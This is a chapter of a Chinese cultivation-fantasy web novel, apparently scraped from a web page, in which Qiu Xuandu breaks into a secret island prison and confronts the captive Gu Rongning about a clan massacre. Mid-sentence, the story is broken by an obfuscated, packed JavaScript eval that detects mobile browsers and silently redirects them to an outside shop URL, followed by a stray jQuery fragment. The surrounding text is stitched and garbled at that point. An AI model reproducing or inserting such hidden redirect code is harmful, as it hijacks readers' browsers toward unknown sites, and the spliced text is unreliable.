谢瑶真谨慎地跟在秋玄度身后,见他游刃有余地穿过密林,随手掷出几支阵旗,四周炁机倏然变化。
这与先前他用的“五行乱阵”如出一辙,却又威力大得多。谢瑶真吃惊不已。
这真的是一个炼气期弟子能做出来的阵法吗?以阵破阵的手法老辣,这名字潦草的“五行乱阵”怎么看也不像是他口中失败的课业作品。
诡异的燕子林在秋玄度眼中仿佛是一张清晰展开的地图。迷雾退去,月光为他铺路。
他脚下步履生风,没过多久,眼前便浮现一片波光粼粼的湖来。
月光洒下湖面,跃出点点银光,一望无际。
燕子林中竟然还有这么大一片湖?
谢瑶真心生疑惑,却又见不到湖中有任何异样。
秋玄度难道是要到湖底去找什么?
谢瑶真刚眨了眨眼睛,就见秋玄度从储物袋中取出一面平平无奇的镜子来。他举起那镜子向湖中心一照,水面便出现了一.大团阴影。
那镜子竟是个能照透幻象的宝物!
能被谢容远收为弟子,那定是脱俗的。秋玄度身上有几件傍身的法宝、几样保命的手段也不足为奇。
但最让谢瑶真惊诧的,是正对着湖心的半空浮现出的景象。
那是一座不大的岛屿,三条粗如殿柱的青黑色锁链将岛屿牢牢地捆住,以湖岸为基,将浮在半空的岛屿拉住,锁链绷得笔直。
岛屿四周笼罩着一层青金色的结界,隔绝了灵力和日月光照。那座岛屿像被封闭的孤牢,令谢瑶真心中隐隐不安。
她向秋玄度望去,见他的目光也直直射向那座孤岛。
原来他的目的地就是那里!
秋玄度手一扬,谢瑶真见那三条锁链下赫然出现三套五行乱阵,那面他用来破幻的镜子也飞到了岛屿上空,吸收着岛屿四周结界的光芒。
谢瑶真惊讶不已。
她心想道:这悬空岛屿的布置,恐怕是太虚宗高人前辈设下的。秋玄度的法宝和阵法,竟能破了它们?
秋玄度刚刚用辟邪镜照出无心湖秘牢真容时,已经暗暗催动镜子背面的阵法,在整座无心湖上空都罩下一层结界,使布置这间秘牢的谢容远不能察觉此地异动。
谢容远元婴修为,秋玄度自然不能掩他耳目。但这面辟邪镜曾是魔宫中一位元婴老怪的本命法器。那老怪虽已陨落,但辟邪镜威力不小,足以应付谢容远一时。
更何况,他一路小心,应当也不会引起谢容远的注意来探查这边。
秋玄度以五行乱阵破开牢门,又以辟邪镜暂时解开那岛屿上隔绝灵力的结界,飞身上了岛屿。
龙伯遮告诉他,顾容宁被关押在这燕子林无心湖。
看来,这岛屿便是谢容远关押顾容宁的秘牢。
秋玄度并未发现,在他身后,谢瑶真也悄悄地跟了上来。
岛屿上是一座光秃秃的、怪石嶙峋的小山。山上不生寸草,也没有任何洞口。但秋玄度随手又祭出一套五行乱阵,山前怪石便如软泥般向两边自行分开,硬生生豁出一道能容人通过的洞口来。
秋玄度提步向前,谢瑶真也忙隐身敛气悄悄跟在后面,进入那山中。
山洞中有幽幽青光。没走多久,就见到一片相对开阔的空地,地上放着一方石莲台。
空地四角燃烧着永不熄灭的青莲灯,灯火荧煌下,四条能锁住灵脉的困仙索从灯柱下延伸到石莲台上,台上坐着个形容落拓的男子。
谢瑶真看清了,缓缓睁大了眼睛。
那四条困仙索正锁在那男子四肢要穴上,令他一动也不能动。非但如此,他头顶上空正倒悬一朵不停旋转的青莲,莲蕊中青光阵阵,威压逼人。
谢瑶真久受谢容远教导,怎会认不出这些青莲灯都是元婴级别的顶级法器。而这阵法,她也在《古阵遗谱》中见过,虽算不上冷门,却是一套监禁高阶修士的厉害阵法。
此阵有封印修为、神识、削弱心志之能,名叫五星囚魂阵。能出现在这里,恐怕是谢容远才有的手笔了。
这人是谁?被谢容远秘密地关在这里,秋玄度又为什么找他?
谢瑶真这厢惊疑不定,忽听秋玄度朗声对那石莲台上的男人道:“顾真人,快两百年了,您可安好啊?”
那石莲台上的男人本在闭目养息,骤闻此声,蓦地睁开双眼,直直盯着秋玄度道:
“你这小子,难道是我师兄派来的?两百年了,他这宗主,当得可还如意啊?”
谢瑶真心弦大震:难道这被困的男修就是她的二师叔顾容宁?
从前只听说过这二师叔在仙魔大战中督战不力,致使囚阳谷一战,璇玑门秋氏满门惨死。
顾容宁那时被指控与魔宫暗通款曲,不过当年三仙门联合审讯也没审出个所以然,最终只以督战不力论处。后来不知怎的,就销声匿迹了。
竟然是被谢容远秘密囚在此处?
谢瑶真心中疑惑,只听秋玄度对那顾容宁道:“并非如此。让晚辈带来问候的,倒是另有其人。”
顾容宁两百年未见外人,今日见到秋玄度,倍感惊讶奇怪,又隐隐不安。
“谁?”他询问时,稍稍向前探了探身子。
“圣宫积尸坛主。”
秋玄度此话一出,石莲台上传来困仙索“哗啦啦”的声音,顾容宁暴起,怒吼道:“你这魔宫贼子,安敢混入我太虚宗!”
谢瑶真也大惊失色,望着秋玄度的脸色白了又白。
秋玄度他……真的是魔宫细作?!
秋玄度一手背在身后,在石莲台周围缓缓踱步,气定神闲道:“前辈无需激动。当年,不正是您和圣宫合作,才拿下囚阳谷吗?您是圣宫的老朋友了,何必这样。放心,这里已经隔绝了谢容远的神识,您不用再演了。”
他一边踱步,一边打量着四周青莲灯,若有所思道:“有些罪名,前辈不认,又如何呢?前辈所居所处,已经是罪犯的待遇了。当初既敢做下,又为何不敢认?”
“胡说!”顾容宁怒道,“我没做过的事,为何要认?当年的仙门叛徒、魔宫细作另有其人!可惜她手眼通天,自己逃之夭夭,却害得我如此!”
顾容宁怒火冲天,挣扎着想要跃下石莲台,却被困仙索一寸寸收紧,锋利的绳索割进皮肉。他痛苦地嘶吼,喘着气跌坐回莲台,狼狈不堪。
“哦?”秋玄度踱着步,颇有些意外地瞟了他一眼。
顾容宁的视线警惕地跟随秋玄度移动,忽想到什么,喃喃道:“不可能,不可能……师兄早已经将魔宫剿灭了,你年纪不大,不可能是魔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757886|205467||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宫的人。”
秋玄度听了这话,一顿,忽对顾容宁绽开一抹笑意,道:“顾真人见谅,是晚辈无礼了。晚辈确实不是魔宫中人,方才只是在试探前辈。”
顾容宁惊愕道:“你……”
秋玄度朝他遥遥施了一礼:“晚辈秋氏玄度,拜见前辈。今日前来,是要查明当年真相,向前辈讨一个说法。”
顾容宁愣愣道:“你是秋氏后人……你想杀我复仇!”他脸色一变,却又恨恨道:“可惜你找错了人。真正的罪魁祸首早已金蝉脱壳,就算今日.你能杀了我,也报不了仇!”
秋玄度紧紧盯着顾容宁的眼睛,想从中揪出一抹撒谎的痕迹:“真凶是谁?当年的真相,到底是什么?”
顾容宁仰天苦笑:
“当年在囚阳谷,的确是我督战不力。可我从未背叛过太虚宗、背叛仙门!是大师姐……是我们那韬光养晦的大师姐扈容嘉!她一早便是魔修,不知用什么方法骗过了师尊,混进仙门,成了师尊的首席弟子……宗门养了她一百多年!囚阳谷大战之际,她恰好暴露了魔修身份,被我宗追捕,反去投靠了魔宫的先锋玄光。为了投诚,她出卖了秋家。”
顾容宁长叹一口气,望着秋玄度道:“扈容嘉才是你应杀之人。”
谢瑶真惊愕不已,秋玄度听完同样难以置信:“顾真人,你难道欺我年少,不辨真假?太虚宗何曾有过扈容嘉这号人物,谢宗主又何曾有过大师姐?太丘上人的首徒,从来都是谢容远!”
据谢瑶真所知,太虚宗从来没有过一个叫扈容嘉的人。就算是劣迹斑斑,宗门不耻,刻意掩盖痕迹,也不至于没有一点风声。
就如容与那个走了邪路的开山大弟子谷怀元,宗门上下避之不谈,可存在过的痕迹总抹不掉的。
秋玄度果然不信,冷笑道:“顾真人,你凭空捏造一号人来骗我,当我三岁小儿吗?!看来今日,我无论如何也要血.洗这座秘牢了!”
“哈哈,哈哈……”
青莲灯青光幽煌,照映着石壁惨绿。顾容宁仰天长笑,形容疯癫:“果然,我就知道,我就知道!”
“没人相信真相!没有人!哈哈哈哈哈哈!”
顾容宁双眼充血,惨戚地盯着秋玄度,眼神却充满同情:“我被大师姐害惨了,成了替罪的傀儡。只可惜……你秋氏一门白白死了,永世无法雪恨。”
秋玄度眉心一跳,伫立原地。盯了顾容宁半晌,见他神情不似作伪,默了几息,又开口道:“既然你无罪,为何谢容远要将你囚禁于此……折磨你?”
当年虽证据不足,但仙门几乎默认他就是导致秋氏灭族、囚阳谷惨败的罪魁祸首。璇玑门想杀他的,大有人在。外界皆道,是谢容远碍于同门之谊,将顾容宁秘密关押。名为惩罚,实为保护。
但今日一见,顾容宁一身修为几乎散尽,神识迟钝,已经不中用了。他当年金丹后期修为,曾得太丘上人授照旷诀,神识强大无匹,何其意气风发。如今却落得如此地步。
可以想象,这五星囚魂阵对他的打击,是毁灭性的。
“呵。”顾容宁自嘲一笑,“大师姐逃了,囚阳谷一战,仙门败了。一夜之间,什么都变了。……这世上,只有我记得大师姐扈容嘉这个人。
就仿佛……她从没来过。”